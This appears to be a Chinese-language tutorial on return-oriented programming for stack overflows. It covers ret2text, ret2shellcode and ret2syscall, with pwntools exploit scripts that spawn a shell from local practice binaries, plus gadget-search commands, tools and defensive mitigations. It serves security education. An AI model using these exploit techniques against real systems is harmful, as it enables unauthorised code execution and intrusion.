栈溢出ROP利用基础(二)
字数 1394 2025-08-29 08:30:36
ROP利用基础教学文档
1. ROP技术概述
ROP(Return-Oriented Programming)是一种高级的内存攻击技术,通过利用程序中已有的代码片段(gadgets)来构造攻击链,绕过数据执行保护(DEP)等安全机制。
2. ROP利用基础类型
2.1 ret2text
特征:执行程序.text代码段已有的系统函数调用。
利用步骤:
-
检查保护机制:
checksec <binary> -
IDA分析:
- 查找可调用的
system("/bin/sh")等危险函数 - 识别存在缓冲区溢出漏洞的函数(如
gets())
- 查找可调用的
-
GDB调试关键点:
- 计算可控内存起始地址到返回地址的偏移量
- 确定输入点在栈中的起始地址
- 计算偏移量公式:
偏移 = ebp - 输入点地址 + 4 (32位系统)
-
Payload构造示例:
#!/usr/bin/env python from pwn import * sh = process('./ret2text') target = 0x804863a # system("/bin/sh")地址 sh.sendline('A' * (0x6c+4) + p32(target)) sh.interactive()
注意事项:
- 源代码和IDA分析中的变量名可能不一致,需通过GDB确认实际地址
- 确保计算偏移时使用正确的参照物
2.2 ret2shellcode
特征:存在可写入shellcode的缓冲区,且具有可执行权限。
利用步骤:
-
检查保护机制:
- 确认NX是否关闭(允许栈执行)
-
源码分析:
- 确认不存在直接获取shell的函数
- 识别可利用的控制流函数(如
gets()) - 确认缓冲区位置(如.bss段)
-
权限检查:
gdb> vmmap # 查看内存分布和权限- 确认目标缓冲区具有wx(可写可执行)权限
-
动态计算偏移:
- 使用cyclic工具生成测试字符串
- 通过崩溃地址计算精确偏移:
cyclic -l <fault address>
-
Payload构造示例:
#!/usr/bin/env python from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) # 自动生成shellcode buf2_addr = 0x804a080 # 可执行缓冲区地址 sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr)) sh.interactive()
2.3 ret2syscall
特征:控制程序执行系统调用获取shell。
利用步骤:
-
检查保护机制
-
源码分析:
- 确认没有直接可用的system()或shellcode
- 识别可利用的控制流函数
-
系统调用基础:
- execve("/bin/sh",NULL,NULL)需要:
- eax = 0xb (系统调用号)
- ebx -> "/bin/sh"字符串地址
- ecx = 0
- edx = 0
- 触发:int 0x80
- execve("/bin/sh",NULL,NULL)需要:
-
寻找gadgets:
- 控制eax的gadget:
ROPgadget --binary rop --only 'pop|ret' | grep 'eax' - 控制其他寄存器的gadget:
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' - 查找"/bin/sh"字符串:
ROPgadget --binary rop --string '/bin/sh' - 查找int 0x80:
ROPgadget --binary rop --only 'int'
- 控制eax的gadget:
-
Payload构造示例:
#!/usr/bin/env python from pwn import * sh = process('./rop') pop_eax_ret = 0x080bb196 pop_edx_ecx_ebx_ret = 0x0806eb90 int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat([ 'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80 ]) sh.sendline(payload) sh.interactive()
3. 关键工具和技术
- checksec:检查二进制文件保护机制
- IDA Pro:静态分析二进制文件
- GDB:动态调试,计算偏移
- ROPgadget:搜索可用gadgets
- cyclic:生成测试字符串和计算偏移
- pwntools:自动化漏洞利用开发
4. 注意事项
- 架构差异:32位和64位系统的调用约定不同
- 地址对齐:确保跳转地址正确
- 保护机制:注意ASLR、NX、Stack Canary等的影响
- 环境一致性:本地和远程环境可能有差异
- 错误处理:考虑可能的各种异常情况
5. 扩展知识
-
高级ROP技术:
- SROP (Sigreturn Oriented Programming)
- BROP (Blind ROP)
- JOP (Jump-Oriented Programming)
-
防御措施:
- 控制流完整性(CFI)
- 地址随机化(ASLR)
- 栈保护(Stack Canary)
-
现代缓解技术:
- Shadow Stack
- CET (Control-flow Enforcement Technology)
- PAC (Pointer Authentication Codes)